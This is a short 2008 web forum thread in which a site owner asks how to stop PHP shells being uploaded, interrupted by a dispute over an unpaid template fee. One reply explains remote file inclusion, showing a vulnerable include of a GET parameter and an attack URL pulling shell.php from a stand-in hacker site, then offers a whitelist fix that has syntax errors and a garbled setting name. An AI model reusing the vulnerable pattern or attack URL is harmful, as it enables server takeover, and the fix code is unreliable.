Protecting against Shells?

Followers

August 14, 200817 yr

This isn't really anything to do with the designing side of things but shells, I'm sure you all know what they are...

How do I stop people from adding shells to my hosting?

August 14, 200817 yr

I have my own 'How Do I Do That' question John.

How do I get John Williams to pay me the £50 that he owes me for a website template?

As you have disabled private messages and won't answer my emails nor pay the PayPal invoice that I sent to you, I would love to know!!

August 14, 200817 yr

Interesting...

I personally can't stand people who don't pay their bills. I lent a so called friend (now ex-friend) £25.00 and she has decided not to pay me back. If you owe the money, be a man and settle up.

August 14, 200817 yr

ah this is complicated but i can explain...once elan lets me know he has his £50..

:flm7:

Pendulum
1

August 14, 200817 yr

What's a shell? Elan - I do hope this chap gives you the money he owes you. I can't see this thread going anywhere without it...

August 14, 200817 yr

A shell is a php script designed to take control of a server once uploaded and executed. shells allow useres to do many malishious things such as delete files upload files ect.

the vulnrability is here

<?php
$page = $_GET['page];
include($page);
?>

then a hacker would goto www.yousite.com/index.php?page=http://hackerssite.com/shell.php

wala the shell is included and bam goes your website

how to fix

*turn url_file_include of that works

or the coe below

<?php
$page = $_GET['page'];

switch($page){
 case "home"
 include('home.php');
 break;
 case "contact"
  include('contact.php');
 break;
default: include('index.php');
break;
}
?>

that will stop shell attacts

im a hacker so i no it works